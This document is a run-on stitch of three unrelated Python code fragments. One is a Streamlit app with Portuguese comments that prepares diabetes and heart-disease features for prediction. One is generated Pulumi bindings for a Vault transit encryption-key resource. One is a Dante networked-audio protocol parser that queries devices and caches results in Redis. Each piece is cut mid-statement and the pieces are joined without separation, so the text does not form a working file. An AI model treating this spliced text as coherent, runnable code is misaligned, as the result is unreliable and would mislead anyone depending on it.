[chlorpropamide], 'glimepiride': [glimepiride], 'acetohexamide': [acetohexamide], 'glipizide': [glipizide], 'glyburide': [glyburide], 'tolbutamide': [tolbutamide], 'pioglitazone': [pioglitazone], 'rosiglitazone': [rosiglitazone], 'acarbose': [acarbose], 'miglitol': [miglitol], 'troglitazone': [troglitazone], 'tolazamide': [tolazamide], 'examide': [examide], 'citoglipton': [citoglipton], 'insulin': [insulin], 'glyburide-metformin': [glyburide_metformin], 'glipizide-metformin': [glipizide_metformin], 'glimepiride-pioglitazone': [glimepiride_pioglitazone], 'metformin-rosiglitazone': [metformin_rosiglitazone], 'metformin-pioglitazone': [metformin_pioglitazone], 'change': [change], 'diabetesMed': [diabetesMed]}) return df # Função para preparar um dataframe com as feaures de Doenca do Coracao def getHeartDiseaseFeatures(): sexo = st.sidebar.radio("Gender",("Female","Male"), key = 'sexo') tipo_dor = st.sidebar.radio("Chest Pain Type", ("0","1","2","3","4"), key='tipo_dor') pressao_sanguinea = st.sidebar.slider("Resting Blood Pressure", 0.0, 250.0, step=1.0, key='pressao_sanguinea') colesterol = st.sidebar.slider("Serum Cholestoral in mg/dl", 0.0, 250.0, step=0.1, key='colesterol') acucar_sangue = st.sidebar.radio("Fasting Blood Sugar > 120 mg/dl",("No","Yes"), key = 'acucar_sangue') eletro = st.sidebar.radio("Resting Electrocardiographic Results",("0","1","2"), key = 'eletro') max_batimento_cardiaco = st.sidebar.radio("maximum heart rate achieved (0: normal, 1: having ST-T wave abnormality, 2: showing probable or definite left ventricular hypertrophy)",("0","1","2"), key = 'max_batimento_cardiaco') angina = st.sidebar.radio("Exercise Unduced Angina",("No","Yes"), key = 'angina') oldpeak = st.sidebar.slider("ST depression induced by exercise relative to rest", 0.0, 10.0, step=0.1, key='oldpeak') slope = st.sidebar.slider("Slope of the peak exercise ST segment", 0.0, 10.0, step=0.1, key='slope') ca = st.sidebar.slider("Number of major vessels (0-3) colored by flourosopy ", 0.0, 3.0, step=1.0,key='ca') thal = st.sidebar.radio("Thal: 3=normal; 6=fixed defect; 7=reversable defect",("3","6","7"), key = 'thal') df = pd.DataFrame({'sexo': [sexo], 'tipo_dor': [tipo_dor], 'pressao_sanguinea': [pressao_sanguinea], 'colesterol': [colesterol], 'acucar_sangue': [acucar_sangue], 'eletro': [eletro], 'max_batimento_cardiaco': [max_batimento_cardiaco], 'angina': [angina], 'oldpeak': [oldpeak], 'slope': [slope], 'ca': [ca], 'thal': [thal]}) # Recoding de variáveis categóricas binárias df['sexo'] = df['sexo'].replace('Male', 1) df['sexo'] = df['sexo'].replace('Female', 0) df['acucar_sangue'] = df['acucar_sangue'].replace('Yes', 1) df['acucar_sangue'] = df['acucar_sangue'].replace('No', 0) df['angina'] = df['angina'].replace('Yes', 1) df['angina'] = df['angina'].replace('No', 0) return df def calcula_comorbidade(row): # Código 250 indica diabetes codigos_doenca_diabetes = "^[2][5][0]" # Códigos 39x (x = valor entre 0 e 9) # Códigos 4zx (z = valor entre 0 e 6 e x = valor entre 0 e 9) # Esses códigos indicam problemas circulatórios codigos_doenca_circulatorios = "^[3][9][0-9]|^[4][0-5][0-9]" # Inicializa variável de retorno valor = 0 # Valor 0 indica que: # Diabetes E problemas circulatórios não foram detectados de forma simultânea no paciente if(not(bool(re.match(codigos_doenca_diabetes, str(np.array(row['diag_1']))))) and not(bool(re.match(codigos_doenca_diabetes, str(np.array(row['diag_2']))))) and not(bool(re.match(codigos_doenca_diabetes, str(np.array(row['diag_3'])))))) and (not( bool(re.match(codigos_doenca_circulatorios, str(np.array(row['diag_1']))))) and not( bool(re.match(codigos_doenca_circulatorios, str(np.array(row['diag_2']))))) and not( bool(re.match(codigos_doenca_circulatorios, str(np.array(row['diag_3'])))))): valor = 0 # Valor 1 indica que: # Pelo menos um diagnóstico de diabetes E problemas circulatórios foram detectados de forma # simultânea no paciente if(bool(re.match(codigos_doenca_diabetes, str(np.array(row['diag_1'])))) or bool(re.match(codigos_doenca_diabetes, str(np.array(row['diag_2'])))) or bool(re.match(codigos_doenca_diabetes, str(np.array(row['diag_3']))))) and (not( bool(re.match(codigos_doenca_circulatorios, str(np.array(row['diag_1']))))) and not( bool(re.match(codigos_doenca_circulatorios, str(np.array(row['diag_2']))))) and not( bool(re.match(codigos_doenca_circulatorios, str(np.array(row['diag_3'])))))): valor = 1 # Valor 2 indica que: # Diabetes E pelo menos um diagnóstico de problemas circulatórios foram detectados de forma # simultânea no paciente if(not(bool(re.match(codigos_doenca_diabetes, str(np.array(row['diag_1']))))) and not(bool(re.match(codigos_doenca_diabetes, str(np.array(row['diag_2']))))) and not(bool(re.match(codigos_doenca_diabetes, str(np.array(row['diag_3'])))))) and ( bool(re.match(codigos_doenca_circulatorios, str(np.array(row['diag_1'])))) or bool(re.match(codigos_doenca_circulatorios, str(np.array(row['diag_2'])))) or bool(re.match(codigos_doenca_circulatorios, str(np.array(row['diag_3']))))): valor = 2 # Valor 3 indica que: # Pelo menos um diagnóstico de diabetes e pelo menos um diagnóstico de problemas circulatórios # foram detectados de forma simultânea no paciente if(bool(re.match(codigos_doenca_diabetes, str(np.array(row['diag_1'])))) or bool(re.match(codigos_doenca_diabetes, str(np.array(row['diag_2'])))) or bool(re.match(codigos_doenca_diabetes, str(np.array(row['diag_3']))))) and ( bool(re.match(codigos_doenca_circulatorios, str(np.array(row['diag_1'])))) or bool(re.match(codigos_doenca_circulatorios, str(np.array(row['diag_2'])))) or bool(re.match(codigos_doenca_circulatorios, str(np.array(row['diag_3']))))): valor = 3 return valor def feature_engineering(dados): # Recategorizamos 'idade' para que a população seja distribuída de maneira mais uniforme # Classificamos como faixa de 0-50 pacientes de até 50 anos dados['age'] = pd.Series(['[0-50)' if val in ['[0-10)', '[10-20)', '[20-30)', '[30-40)', '[40-50)'] else val for val in dados['age']], index = dados.index) # Acima de 80 anos ficam na faixa de 80-100 dados['age'] = pd.Series(['[80-100)' if val in ['[80-90)', '[90-100)'] else val for val in dados['age']], index = dados.index) # A variável 'admission_type_id' contém 8 níveis # Reduziremos os níveis de 'admission_type_id' para duas categorias dados['admission_type_id'] = pd.Series(['Emergencia' if val == 1 else 'Outro' for val in dados['admission_type_id']], index = dados.index) # A variável 'discharge_disposition_id' contém 26 níveis # Reduziremos os níveis de 'discharge_disposition_id' para duas categorias dados['discharge_disposition_id'] = pd.Series(['Casa' if val == 1 else 'Outro' for val in dados['discharge_disposition_id']], index = dados.index) # A variável 'admission_source_id' contém 17 níveis # # Reduziremos os níveis de 'admission_source_id' para três categorias dados['admission_source_id'] = pd.Series(['Sala_Emergencia' if val == 7 else 'Recomendacao' if val == 1 else 'Outro' for val in dados['admission_source_id']], index = dados.index) # Concatena 3 variáveis em um dataframe diagnostico = dados[['diag_1', 'diag_2', 'diag_3']] # Aplicamos a função comorbidade aos dados dados['comorbidade'] = diagnostico.apply(calcula_comorbidade, axis = 1) # Drop das variáveis individuais dados.drop(['diag_1','diag_2','diag_3'], axis = 1, inplace = True) # Removendo dataframe temporario del diagnostico # Lista com os nomes das variáveis de medicamentos medicamentos = ['metformin', 'repaglinide', 'nateglinide', 'chlorpropamide', 'glimepiride', 'acetohexamide', 'glipizide', 'glyburide', 'tolbutamide', 'pioglitazone', 'rosiglitazone', 'acarbose', 'miglitol', 'troglitazone', 'tolazamide', 'examide', 'citoglipton','insulin', 'glyburide-metformin', 'glipizide-metformin', 'glimepiride-pioglitazone', 'metformin-rosiglitazone', 'metformin-pioglitazone'] # Loop para ajustar o valor das variáveis de medicamentos for col in medicamentos: if col in dados.columns: colname = str(col) + 'temp' dados[colname] = dados[col].apply(lambda x: 0 if (x == 'No' or x == 'Steady') else 1) # Cria uma variável para receber a contagem por paciente dados['num_alt_dosagem_med'] = 0 # Contagem de modificações na dosagem de medicamentos for col in medicamentos: if col in dados.columns: colname = str(col) + 'temp' dados['num_alt_dosagem_med'] = dados['num_alt_dosagem_med'] + dados[colname] del dados[colname] # Recoding das colunas de medicamentos for col in medicamentos: if col in dados.columns: dados[col] = dados[col].replace('No', 0) dados[col] = dados[col].replace('Steady', 1) dados[col] = dados[col].replace('Up', 1) dados[col] = dados[col].replace('Down', 1) # Variável com a contagem de medicamentos por paciente dados['num_med'] = 0 # Carregamos a nova variável for col in medicamentos: if col in dados.columns: dados['num_med'] = dados['num_med'] + dados[col] # Remove as colunas de medicamentos dados = dados.drop(columns = medicamentos) # Recoding de variáveis categóricas binárias dados['change'] = dados['change'].replace('Ch', 1) dados['change'] = dados['change'].replace('No', 0) dados['gender'] = dados['gender'].replace('Male', 1) dados['gender'] = dados['gender'].replace('Female', 0) dados['diabetesMed'] = dados['diabetesMed'].replace('Yes', 1) dados['diabetesMed'] = dados['diabetesMed'].replace('No', 0) # Recoding de variáveis categóricas (label encoding) dados['A1Cresult'] = dados['A1Cresult'].replace('>7', 1) dados['A1Cresult'] = dados['A1Cresult'].replace('>8', 1) dados['A1Cresult'] = dados['A1Cresult'].replace('Norm', 0) dados['A1Cresult'] = dados['A1Cresult'].replace('None', -99) dados['max_glu_serum'] = dados['max_glu_serum'].replace('>200', 1) dados['max_glu_serum']
for more information: [Key Types](https://www.vaultproject.io/docs/secrets/transit#key-types) """ if allow_plaintext_backup is not None: pulumi.set(__self__, "allow_plaintext_backup", allow_plaintext_backup) if backend is not None: pulumi.set(__self__, "backend", backend) if convergent_encryption is not None: pulumi.set(__self__, "convergent_encryption", convergent_encryption) if deletion_allowed is not None: pulumi.set(__self__, "deletion_allowed", deletion_allowed) if derived is not None: pulumi.set(__self__, "derived", derived) if exportable is not None: pulumi.set(__self__, "exportable", exportable) if keys is not None: pulumi.set(__self__, "keys", keys) if latest_version is not None: pulumi.set(__self__, "latest_version", latest_version) if min_available_version is not None: pulumi.set(__self__, "min_available_version", min_available_version) if min_decryption_version is not None: pulumi.set(__self__, "min_decryption_version", min_decryption_version) if min_encryption_version is not None: pulumi.set(__self__, "min_encryption_version", min_encryption_version) if name is not None: pulumi.set(__self__, "name", name) if supports_decryption is not None: pulumi.set(__self__, "supports_decryption", supports_decryption) if supports_derivation is not None: pulumi.set(__self__, "supports_derivation", supports_derivation) if supports_encryption is not None: pulumi.set(__self__, "supports_encryption", supports_encryption) if supports_signing is not None: pulumi.set(__self__, "supports_signing", supports_signing) if type is not None: pulumi.set(__self__, "type", type) @property @pulumi.getter(name="allowPlaintextBackup") def allow_plaintext_backup(self) -> Optional[pulumi.Input[bool]]: """ Enables taking backup of entire keyring in the plaintext format. Once set, this cannot be disabled. * Refer to Vault API documentation on key backups for more information: [Backup Key](https://www.vaultproject.io/api-docs/secret/transit#backup-key) """ return pulumi.get(self, "allow_plaintext_backup") @allow_plaintext_backup.setter def allow_plaintext_backup(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "allow_plaintext_backup", value) @property @pulumi.getter def backend(self) -> Optional[pulumi.Input[str]]: """ The path the transit secret backend is mounted at, with no leading or trailing `/`s. """ return pulumi.get(self, "backend") @backend.setter def backend(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "backend", value) @property @pulumi.getter(name="convergentEncryption") def convergent_encryption(self) -> Optional[pulumi.Input[bool]]: """ Whether or not to support convergent encryption, where the same plaintext creates the same ciphertext. This requires `derived` to be set to `true`. """ return pulumi.get(self, "convergent_encryption") @convergent_encryption.setter def convergent_encryption(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "convergent_encryption", value) @property @pulumi.getter(name="deletionAllowed") def deletion_allowed(self) -> Optional[pulumi.Input[bool]]: """ Specifies if the key is allowed to be deleted. """ return pulumi.get(self, "deletion_allowed") @deletion_allowed.setter def deletion_allowed(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "deletion_allowed", value) @property @pulumi.getter def derived(self) -> Optional[pulumi.Input[bool]]: """ Specifies if key derivation is to be used. If enabled, all encrypt/decrypt requests to this key must provide a context which is used for key derivation. """ return pulumi.get(self, "derived") @derived.setter def derived(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "derived", value) @property @pulumi.getter def exportable(self) -> Optional[pulumi.Input[bool]]: """ Enables keys to be exportable. This allows for all valid private keys in the keyring to be exported. Once set, this cannot be disabled. """ return pulumi.get(self, "exportable") @exportable.setter def exportable(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "exportable", value) @property @pulumi.getter def keys(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[Mapping[str, Any]]]]]: """ List of key versions in the keyring. This attribute is zero-indexed and will contain a map of values depending on the `type` of the encryption key. * for key types `<KEY>`, `<KEY>` and `chacha20-poly1305`, each key version will be a map of a single value `id` which is just a hash of the key's metadata. * for key types `ed25519`, `ecdsa-p256`, `ecdsa-p384`, `ecdsa-p521`, `rsa-2048`, `rsa-3072` and `rsa-4096`, each key version will be a map of the following: """ return pulumi.get(self, "keys") @keys.setter def keys(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[Mapping[str, Any]]]]]): pulumi.set(self, "keys", value) @property @pulumi.getter(name="latestVersion") def latest_version(self) -> Optional[pulumi.Input[int]]: """ Latest key version available. This value is 1-indexed, so if `latest_version` is `1`, then the key's information can be referenced from `keys` by selecting element `0` """ return pulumi.get(self, "latest_version") @latest_version.setter def latest_version(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "latest_version", value) @property @pulumi.getter(name="minAvailableVersion") def min_available_version(self) -> Optional[pulumi.Input[int]]: """ Minimum key version available for use. If keys have been archived by increasing `min_decryption_version`, this attribute will reflect that change. """ return pulumi.get(self, "min_available_version") @min_available_version.setter def min_available_version(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "min_available_version", value) @property @pulumi.getter(name="minDecryptionVersion") def min_decryption_version(self) -> Optional[pulumi.Input[int]]: """ Minimum key version to use for decryption. """ return pulumi.get(self, "min_decryption_version") @min_decryption_version.setter def min_decryption_version(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "min_decryption_version", value) @property @pulumi.getter(name="minEncryptionVersion") def min_encryption_version(self) -> Optional[pulumi.Input[int]]: """ Minimum key version to use for encryption """ return pulumi.get(self, "min_encryption_version") @min_encryption_version.setter def min_encryption_version(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "min_encryption_version", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name to identify this key within the backend. Must be unique within the backend. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="supportsDecryption") def supports_decryption(self) -> Optional[pulumi.Input[bool]]: """ Whether or not the key supports decryption, based on key type. """ return pulumi.get(self, "supports_decryption") @supports_decryption.setter def supports_decryption(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "supports_decryption", value) @property @pulumi.getter(name="supportsDerivation") def supports_derivation(self) -> Optional[pulumi.Input[bool]]: """ Whether or not the key supports derivation, based on key type. """ return pulumi.get(self, "supports_derivation") @supports_derivation.setter def supports_derivation(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "supports_derivation", value) @property @pulumi.getter(name="supportsEncryption") def supports_encryption(self) -> Optional[pulumi.Input[bool]]: """ Whether or not the key supports encryption, based on key type. """ return pulumi.get(self, "supports_encryption") @supports_encryption.setter def supports_encryption(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "supports_encryption", value) @property @pulumi.getter(name="supportsSigning") def supports_signing(self) -> Optional[pulumi.Input[bool]]: """ Whether or not the key supports signing, based on key type. """ return pulumi.get(self, "supports_signing") @supports_signing.setter def supports_signing(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "supports_signing", value) @property @pulumi.getter def type(self) -> Optional[pulumi.Input[str]]: """ Specifies the type of key to create. The currently-supported types are: `aes128-gcm96`, `aes256-gcm96` (default), `chacha20-poly1305`, `ed25519`, `ecdsa-p256`, `ecdsa-p384`, `ecdsa-p521`, `rsa-2048`, `rsa-3072` and `rsa-4096`. * Refer to the Vault documentation on transit key types for more information: [Key Types](https://www.vaultproject.io/docs/secrets/transit#key-types) """ return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "type", value) class SecretBackendKey(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, allow_plaintext_backup: Optional[pulumi.Input[bool]] = None, backend: Optional[pulumi.Input[str]] = None, convergent_encryption: Optional[pulumi.Input[bool]] = None, deletion_allowed: Optional[pulumi.Input[bool]] = None, derived: Optional[pulumi.Input[bool]] = None, exportable: Optional[pulumi.Input[bool]] = None, min_decryption_version: Optional[pulumi.Input[int]] = None, min_encryption_version: Optional[pulumi.Input[int]] = None, name: Optional[pulumi.Input[str]] = None, type: Optional[pulumi.Input[str]] = None, __props__=None): """ Creates an Encryption Keyring on a Transit Secret Backend for Vault. ## Example Usage ```python import pulumi import pulumi_vault as vault transit = vault.Mount("transit", path="transit", type="transit", description="Example description", default_lease_ttl_seconds=3600, max_lease_ttl_seconds=86400) key = vault.transit.SecretBackendKey("key", backend=transit.path) ``` ## Import Transit secret backend keys can be imported using the `path`, e.g. ```sh $ pulumi import vault:transit/secretBackendKey:SecretBackendKey key transit/keys/my_key ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[bool] allow_plaintext_backup: Enables taking backup of entire keyring in the plaintext format. Once set, this cannot be disabled. * Refer to Vault API documentation on key backups for more information: [Backup Key](https://www.vaultproject.io/api-docs/secret/transit#backup-key) :param pulumi.Input[str] backend: The path the transit secret backend is mounted at, with no leading or trailing `/`s. :param pulumi.Input[bool] convergent_encryption: Whether or not to support convergent encryption, where the same plaintext creates the same ciphertext. This requires `derived` to be set to `true`. :param pulumi.Input[bool] deletion_allowed: Specifies if the key is allowed to be deleted. :param pulumi.Input[bool] derived: Specifies if key derivation is to be used. If enabled, all encrypt/decrypt requests to this key must provide a context which is used for key derivation. :param pulumi.Input[bool] exportable: Enables keys to be exportable. This allows for all valid private keys in the keyring to be exported. Once set, this cannot be disabled. :param pulumi.Input[int] min_decryption_version: Minimum key version to use for decryption. :param pulumi.Input[int] min_encryption_version: Minimum key version to use for encryption :param pulumi.Input[str] name: The name to identify this key within the backend. Must be unique within the backend. :param pulumi.Input[str] type: Specifies the type of key to create. The currently-supported types are: `aes128-gcm96`, `aes256-gcm96` (default), `chacha20-poly1305`, `ed25519`, `ecdsa-p256`, `ecdsa-p384`, `ecdsa-p521`, `rsa-2048`, `rsa-3072` and `rsa-4096`. * Refer to the Vault documentation on transit key types for more information: [Key Types](https://www.vaultproject.io/docs/secrets/transit#key-types) """ ... @overload def __init__(__self__, resource_name: str, args: SecretBackendKeyArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Creates an Encryption Keyring on a Transit Secret Backend for Vault. ## Example Usage ```python import pulumi import pulumi_vault as vault transit = vault.Mount("transit", path="transit", type="transit", description="Example description", default_lease_ttl_seconds=3600, max_lease_ttl_seconds=86400) key = vault.transit.SecretBackendKey("key", backend=transit.path) ``` ## Import Transit secret backend keys can be imported using the `path`, e.g. ```sh $ pulumi import vault:transit/secretBackendKey:SecretBackendKey key transit/keys/my_key ``` :param str resource_name: The name of the resource. :param SecretBackendKeyArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str,
multicast_port == DEVICE_INFO_PORT ): lock_status = parse_message_type_lock_status(dante_message) parsed_message_redis_hash["message_type_string"] = parsed_message[ "message_type_string" ] = MESSAGE_TYPE_STRINGS[message_type] # print( # f"{src_host}:{src_port} -> {multicast_group}:{multicast_port} type `{message_type}` ({MESSAGE_TYPE_STRINGS[message_type]}) from `{server_name}`" # ) cache_device_value_json(server_name, "lock_status", lock_status["lock_status"]) elif ( message_type == MESSAGE_TYPE_CODEC_STATUS and multicast_group == MULTICAST_GROUP_CONTROL_MONITORING and multicast_port == DEVICE_INFO_PORT ): codec_status = parse_message_type_codec_status(dante_message) parsed_message_redis_hash["message_type_string"] = parsed_message[ "message_type_string" ] = MESSAGE_TYPE_STRINGS[message_type] # print( # f"{src_host}:{src_port} -> {multicast_group}:{multicast_port} type `{message_type}` ({MESSAGE_TYPE_STRINGS[message_type]}) from `{server_name}`" # ) cache_device_value_json( server_name, "codec_status", codec_status["codec_status"] ) elif ( message_type == MESSAGE_TYPE_AES67_STATUS and multicast_group == MULTICAST_GROUP_CONTROL_MONITORING and multicast_port == DEVICE_INFO_PORT ): aes67_status = parse_message_type_aes67_status(dante_message) parsed_message_redis_hash["message_type_string"] = parsed_message[ "message_type_string" ] = MESSAGE_TYPE_STRINGS[message_type] # print( # f"{src_host}:{src_port} -> {multicast_group}:{multicast_port} type `{message_type}` ({MESSAGE_TYPE_STRINGS[message_type]}) from `{server_name}`" # ) cache_device_value_json( server_name, "aes67_status", aes67_status["aes67_status"] ) elif ( multicast_group == MULTICAST_GROUP_CONTROL_MONITORING and src_port in [DEVICE_SETTINGS_PORT, DEVICE_INFO_SRC_PORT2] and message_type in [ MESSAGE_TYPE_ROUTING_DEVICE_CHANGE, MESSAGE_TYPE_RX_CHANNEL_CHANGE, MESSAGE_TYPE_RX_FLOW_CHANGE, ] ): print("Rx change for", server_name, message_type) parsed_message_redis_hash["message_type_string"] = parsed_message[ "message_type_string" ] = MESSAGE_TYPE_STRINGS[message_type] parsed_rx_channels = get_rx_channels(server_name) cache_device_value_json( server_name, "rx_channels", parsed_rx_channels["rx_channels"] ) cache_device_value_json( server_name, "subscriptions", parsed_rx_channels["subscriptions"] ) else: parsed_message_redis_hash["message_type_string"] = parsed_message[ "message_type_string" ] = MESSAGE_TYPE_STRINGS[message_type] print( f"Message was not parsed: {src_host}:{src_port} -> {multicast_group}:{multicast_port} type `{message_type}` ({MESSAGE_TYPE_STRINGS[message_type]}) from `{server_name}`" ) # if parsed_dante_message: # redis_device_key = ":".join(["netaudio", "dante", "device", server_name]) # for key in parsed_dante_message.items(): # print( # { # key: json.dumps(parsed_dante_message, indent=2), # } # ) # redis_client.hset( # redis_device_key, # key=None, # value=None, # mapping={ # key: json.dumps(parsed_dante_message[key], indent=2), # }, # ) parsed_message["parsed_message"] = parsed_dante_message parsed_message_redis_hash["parsed_message"] = json.dumps( parsed_dante_message, indent=2 ) if multicast_group: parsed_message["multicast_group"] = parsed_message_redis_hash[ "multicast_group" ] = multicast_group if multicast_port: parsed_message["multicast_port"] = parsed_message_redis_hash[ "multicast_port" ] = multicast_port # redis_message_key = ":".join( # ["netaudio", "dante", "device", "message", "received", src_host, str(timestamp)] # ) # redis_client.hset( # redis_message_key, # key=None, # value=None, # mapping=parsed_message_redis_hash, # ) # if parsed_message["parsed_message"]: # print(parsed_message["parsed_message"]) # cached_message = redis_client.hgetall(redis_message_key) # cached_device = redis_client.hgetall(redis_device_key) # print("cached device:", cached_device) # print("cached:", cached_message) # # if multicast_group and multicast_port # print( # f"{src_host}:{src_port} -> {multicast_group}:{multicast_port}\n {MESSAGE_TYPE_STRINGS[message_type]}\n {dante_message.hex()}" # ) return parsed_message def message_channel_counts_query(): message_length = 10 message_type = MESSAGE_TYPE_CHANNEL_COUNTS_QUERY flags = 0 sequence_id1 = random.randint(0, 255) sequence_id2 = random.randint(0, 65535) message_hex = f"27{sequence_id1:02x}{message_length:04x}{sequence_id2:04x}{message_type:04x}{flags:04x}" return bytes.fromhex(message_hex) def message_device_name_query(): message_length = 10 message_type = MESSAGE_TYPE_NAME_QUERY flags = 0 sequence_id1 = random.randint(0, 255) sequence_id2 = random.randint(0, 65535) message_hex = f"27{sequence_id1:02x}{message_length:04x}{sequence_id2:04x}{message_type:04x}{flags:04x}" return bytes.fromhex(message_hex) def message_rx_channels_query(page): flags = channel_pagination(page) message_length = 16 message_type = MESSAGE_TYPE_RX_CHANNEL_QUERY sequence_id1 = random.randint(0, 255) sequence_id2 = random.randint(0, 65535) message_hex = f"27{sequence_id1:02x}{message_length:04x}{sequence_id2:04x}{message_type:04x}{flags}" return bytes.fromhex(message_hex) def message_tx_channels_friendly_names_query(page): flags = channel_pagination(page) message_length = 16 message_type = MESSAGE_TYPE_TX_CHANNEL_FRIENDLY_NAMES_QUERY sequence_id1 = random.randint(0, 255) sequence_id2 = random.randint(0, 65535) message_hex = f"27{sequence_id1:02x}{message_length:04x}{sequence_id2:04x}{message_type:04x}{flags}" return bytes.fromhex(message_hex) def message_tx_channels_query(page): flags = channel_pagination(page) message_length = 16 message_type = MESSAGE_TYPE_TX_CHANNEL_QUERY sequence_id1 = random.randint(0, 255) sequence_id2 = random.randint(0, 65535) message_hex = f"27{sequence_id1:02x}{message_length:04x}{sequence_id2:04x}{message_type:04x}{flags}" return bytes.fromhex(message_hex) def parse_message_type_name_query(message): device_name = message[10:-1].decode("utf-8") return { "name": device_name, } def parse_message_type_channel_counts_query(message): rx_count = int.from_bytes(message[15:16], "big") tx_count = int.from_bytes(message[13:14], "big") return { "rx_channel_count": rx_count, "tx_channel_count": tx_count, } def get_label(hex_str, offset): parsed_get_label = None try: hex_substring = hex_str[offset * 2 :] partitioned_bytes = bytes.fromhex(hex_substring).partition(b"\x00")[0] parsed_get_label = partitioned_bytes.decode("utf-8") except Exception: pass # traceback.print_exc() return parsed_get_label def parse_message_type_tx_channel_friendly_names_query( message, name, tx_count, sample_rate ): tx_channels_friendly_names = {} tx_friendly_names = message.hex() for index in range(0, min(tx_count, 32)): str1 = tx_friendly_names[(24 + (index * 12)) : (36 + (index * 12))] n = 4 channel = [str1[i : i + 4] for i in range(0, len(str1), n)] channel_number = int(channel[1], 16) channel_offset = channel[2] tx_channel_friendly_name = get_label(tx_friendly_names, channel_offset) if tx_channel_friendly_name: tx_channels_friendly_names[channel_number] = tx_channel_friendly_name return {"tx_channels_friendly_names": tx_channels_friendly_names} def parse_message_type_tx_channel_query(message, name, tx_count, sample_rate): # has_disabled_channels = False tx_channels = {} transmitters = message.hex() # if sample_rate: # has_disabled_channels = transmitters.count(f"{sample_rate:06x}") == 2 # first_channel = [] for index in range(0, min(tx_count, 32)): str1 = transmitters[(24 + (index * 16)) : (40 + (index * 16))] n = 4 channel = [str1[i : i + 4] for i in range(0, len(str1), n)] # if index == 0: # first_channel = channel if channel: o1 = (int(channel[2], 16) * 2) + 2 o2 = o1 + 6 sample_rate_hex = transmitters[o1:o2] if sample_rate_hex != "000000": sample_rate = int(sample_rate_hex, 16) channel_number = int(channel[0], 16) # channel_status = channel[1][2:] # channel_group = channel[2] channel_offset = int(channel[3], 16) # channel_enabled = channel_group == first_channel[2] # channel_disabled = channel_group != first_channel[2] # if channel_disabled: # break tx_channel_name = get_label(transmitters, channel_offset) if tx_channel_name is None or channel_number == 0: break tx_channel = {} tx_channel["channel_type"] = "tx" tx_channel["number"] = channel_number tx_channel["device"] = name tx_channel["name"] = tx_channel_name # if channel_number in tx_friendly_channel_names: # tx_channel.friendly_name = tx_friendly_channel_names[channel_number] tx_channels[channel_number] = tx_channel # if has_disabled_channels: # break return {"tx_channels": tx_channels} def parse_message_type_rx_channel_query(message, name, rx_count): hex_rx_response = message.hex() rx_channels = {} subscriptions = {} for index in range(0, min(rx_count, 16)): n = 4 str1 = hex_rx_response[(24 + (index * 40)) : (56 + (index * 40))] channel = [str1[i : i + n] for i in range(0, len(str1), n)] channel_number = int(channel[0], 16) channel_offset = int(channel[3], 16) device_offset = int(channel[4], 16) rx_channel_offset = int(channel[5], 16) rx_channel_status_code = int(channel[6], 16) subscription_status_code = int(channel[7], 16) rx_channel_name = get_label(hex_rx_response, rx_channel_offset) tx_device_name = get_label(hex_rx_response, device_offset) if channel_offset != 0: tx_channel_name = get_label(hex_rx_response, channel_offset) else: tx_channel_name = rx_channel_name channel_status_text = None subscription = {} rx_channel = {} rx_channel["channel_type"] = "rx" rx_channel["device_name"] = name rx_channel["name"] = rx_channel_name rx_channel["number"] = channel_number rx_channel["status_code"] = rx_channel_status_code if channel_status_text: rx_channel["status_text"] = channel_status_text rx_channels[channel_number] = rx_channel subscription["rx_channel_name"] = rx_channel_name subscription["rx_channel_number"] = channel_number subscription["rx_device_name"] = name subscription["status_code"] = subscription_status_code subscription["rx_channel_status_code"] = rx_channel_status_code if rx_channel_status_code in SUBSCRIPTION_STATUS_LABELS: subscription["rx_channel_status_text"] = SUBSCRIPTION_STATUS_LABELS[ rx_channel_status_code ] if subscription_status_code == SUBSCRIPTION_STATUS_NONE: subscription["tx_device_name"] = None subscription["tx_channel_name"] = None elif tx_device_name == ".": subscription["tx_channel_name"] = tx_channel_name subscription["tx_device_name"] = name else: subscription["tx_channel_name"] = tx_channel_name subscription["tx_device_name"] = tx_device_name subscription["status_message"] = SUBSCRIPTION_STATUS_LABELS[ subscription_status_code ] subscriptions[channel_number] = subscription return {"rx_channels": rx_channels, "subscriptions": subscriptions} def parse_dante_arc_message(dante_message): parsed_dante_message = {} message_type = int.from_bytes(dante_message[6:8], "big") if message_type == MESSAGE_TYPE_NAME_QUERY: parsed_dante_message = parse_message_type_name_query(dante_message) elif message_type == MESSAGE_TYPE_CHANNEL_COUNTS_QUERY: parsed_dante_message = parse_message_type_channel_counts_query(dante_message) else: print(f"Message type {message_type} was not parsed") return parsed_dante_message def channel_pagination(page): message_args = f"0000000100{page:x}10000" return message_args def get_tx_channels(server_name): tx_channels = {} # tx_channels_friendly_names = {} redis_service_key = ":".join( ["netaudio", "dante", "service", server_name, SERVICE_ARC] ) cached_service = redis_decode(redis_client.hgetall(redis_service_key)) port = int(cached_service["port"]) sock = sockets[server_name][port] redis_device_key = ":".join(["netaudio", "dante", "device", server_name]) cached_device = redis_decode(redis_client.hgetall(redis_device_key)) if "tx_channel_count" in cached_device: tx_count = int(cached_device["tx_channel_count"]) if "name" in cached_device: name = cached_device["name"] try: for page in range(0, 